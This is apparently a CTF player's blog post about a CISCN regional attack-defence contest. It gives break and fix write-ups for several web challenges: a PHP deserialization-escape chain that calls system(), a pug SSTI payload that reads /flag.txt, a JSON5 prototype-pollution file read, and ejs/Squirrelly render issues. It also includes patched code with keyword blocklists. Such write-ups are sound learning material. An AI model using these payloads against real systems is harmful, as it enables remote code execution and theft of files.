在桂林面基广 door 师傅们,开心开心开心

我 tm 直接聊聊聊聊聊聊聊聊聊聊聊聊聊聊聊,吃吃吃吃吃吃吃吃吃吃吃吃吃吃吃,逛逛逛逛逛逛逛逛逛逛逛逛逛逛逛,玩玩玩玩玩玩玩玩玩玩玩玩玩玩玩

学长 GZTime 是男神,不用多说了吧

S1uM4i 大骇客们长得又好看,说话又好听,是温暖的大家庭捏!

师傅们可以私聊我加友链捏,复习去了,溜

经历

break 中途:排名这么靠前,努努力进决赛 😀

break 解完三道 Web:转过身看一眼大屏,我去,怎么第一了 😰,不会结束的时候能拿冠军吧 🤪

break 结束,fix 开始:苟住苟住,我修修修修修 🥵

fix 第一轮结束看结果,Web 5 修 4 Pwn 5 修 1:我擦,运气这么好的 😳?不会等会真的得上去讲题吧 😱?

fix 第二轮结束:进决赛稳了,不过等会真的要讲题了吗 🤡?

fix 最终轮结束:Web 终于全修好,Pwn 5 修 2 真的可以讲题了呀 🤩

city_pop

break

网页源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
error_reporting(0);
function filter($str){
$str=str_replace("getflag",'hark',$str);
return $str;
}
class Start{
public $start;
public $end;
public function __construct($start,$end)
{
$this->start=$start;
$this->end=$end;
}
}

class Go{

public function __destruct()
{
echo $this->ray;
}


}
class Get{
public $func;
public $name;
public function __get($name)
{
call_user_func($this->func,$name);

}

public function __toString()
{
$this->name->{$this->func};

}

}
class Done{
public $eval;
public $class;
public $use;
public $useless;
public function __invoke()
{
$this->use=$this->useless;
eval($this->eval);
}

public function __wakeup(){
$this->eval='no way';
}
}

if(isset($_GET['ciscn_huaibei.pop'])){
$pop=new start($_GET['ciscn_huaibei.pop'],$_GET['pop']);
$ser=filter(serialize($pop));
unserialize($ser);
}else{
highlight_file(__FILE__);
}
?>

找到利用链,这条链子里面没有用到这个 Done 类,使用的是 call_user_func("system","ls");

1
2
3
4
5
6
7
8
$get = new Get();
$get1 = new Get();
$get1->func = "system";
$get->name = $get1;
$get->func = "ls";

$go = new Go();
$go->ray = $get;

之后利用题目中的 filter 函数会导致长度变短,从而覆盖部分数据,进行反序列化逃逸

exp.py

1
2
3
4
5
6
7
8
9
10
import requests

url = "http://172.1.30.1/pop.php"

params = {
'ciscn[huaibei.pop': 'getflag'*7,
'pop': ';;";s:3:"end";O:2:"Go":1:{s:3:"ray";O:3:"Get":2:{s:4:"func";s:13:"cat /flag.txt";s:4:"name";O:3:"Get":2:{s:4:"func";s:6:"system";s:4:"name";N;}}}'
}
r = requests.get(url, params=params)
print(r.text)

fix

这题 fix 用了最久了的

第一次把 eval 删了,没用(srds 我的链子里面也没有用到 eval 这个点呀

第二次把 filter 函数给重写,也是没用

第三次把 eval 上面的一行 $this->use=$this->useless; 给去掉,这下终于 check 过

emoji

break

用 python 发包可以更好地发这个 unicode 过去,之后是 pug ssti 读取 flag

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = "http://172.1.30.2:8080/"

s = requests.Session()

data = {
"username": ["ad#{global.process.mainModule.constructor._load('fs').readFileSync('/flag.txt','utf-8')}"],
"password": "\ude0d😂😍😒😘💕😁\ud83d"
}

r = s.post(url+"login", json=data)
print(r.text)

r = s.get(url+"admin")
print(r.text)

fix

得从 pug ssti 这个地方修复,加上黑名单即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function waf(str) {
blacklist = [
"#{",
"flag.txt",
"_load",
"require",
"global.process",
"import",
];
for (item in blacklist) {
if (item in str) {
return true;
}
}
return false;
}
app.get("/admin", IfLogin, (req, res) => {
if (req.session.user.isadmin === "1") {
if (waf(req.session.user.username)) {
res.send("forbidden");
}
var hello = "welcome " + req.session.user.username;
res.send(pugjs.render(hello));
}
res.send("you are not admin");
});

pollution

break

JSON5.parse 原型链污染,之后再进行绕过读文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests

# url = "http://127.0.0.1/"
url = "http://172.1.30.3:8080/"

s = requests.Session()

data = {
"user":"tel",
"__proto__":{
"admin":True
}
}
r = s.post(url+"login",json=data)

data = {
"file":{
"href":"tel",
"origin":"tel",
"protocol":"file:",
"hostname":"",
"pathname":"/fl%61g.txt"
}
}
r = s.post(url+"dosometing",json=data)
print(r.text)

fix

原型链污染修一下,JSON5.parse 改成 JSON.parse 即可

EffectiveTemp

赛场上看到,测出来这题是 ctftime 上国外比赛的考点

漏洞点在于 req.query.name 传入,可以把参数带进去付给 render,依赖 ejs 版本 3.1.9 也是存在漏洞的,参考 https://github.com/mde/ejs/issues/720

比赛时没法联网呀,也没有保存这一题的题解,也没法调试,只能干看着

1
2
3
app.get("/", blockQueryMiddleware, (req, res) => {
res.render("index", { name: "World", ...req.query.name });
});

fix

直接修修修修修

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const express = require("express");
const app = express();
const ejs = require("ejs");
function blockQueryMiddleware(req, res, next) {
const forbiddenWord = ["[client]", "return", "execSync("];
const queryString = JSON.stringify(req.query);
const containForbiddenWord = forbiddenWord.some((word) =>
queryString.includes(word)
);
if (containForbiddenWord) {
return res.sendStatus(500);
}
next();
}
app.set("view engine", "ejs");

app.get("/", blockQueryMiddleware, (req, res) => {
if (req.query.name) {
res.render("index", { name: req.query.name });
} else {
res.render("index", { name: "World" });
}
});

app.listen(3000, () => {
console.log("Build success");
});

OwnSquirrelly

和上一题一样 Squirrelly render CVE

没法联网,调试的话也没调明白,干坐着

1
2
3
4
5
6
7
8
9
10
11
router.get("/", function (req, res, next) {
if (req.session.userID === undefined || req.session.userID === null) {
return res.redirect("/users/login");
}

if (!utils.isSafeObj(req.query.information)) {
return res.render("home", { username: req.session.userID });
} else {
return res.render("home", req.query.information);
}
});

fix

1
2
3
4
5
6
7
8
9
10
11
router.get("/", function (req, res, next) {
if (req.session.userID === undefined || req.session.userID === null) {
return res.redirect("/users/login");
}

if (!utils.isSafeObj(req.query.information)) {
return res.render("home", { username: req.session.userID });
} else {
return res.render("home", { username: req.query.information });
}
});

师傅们决赛场上见!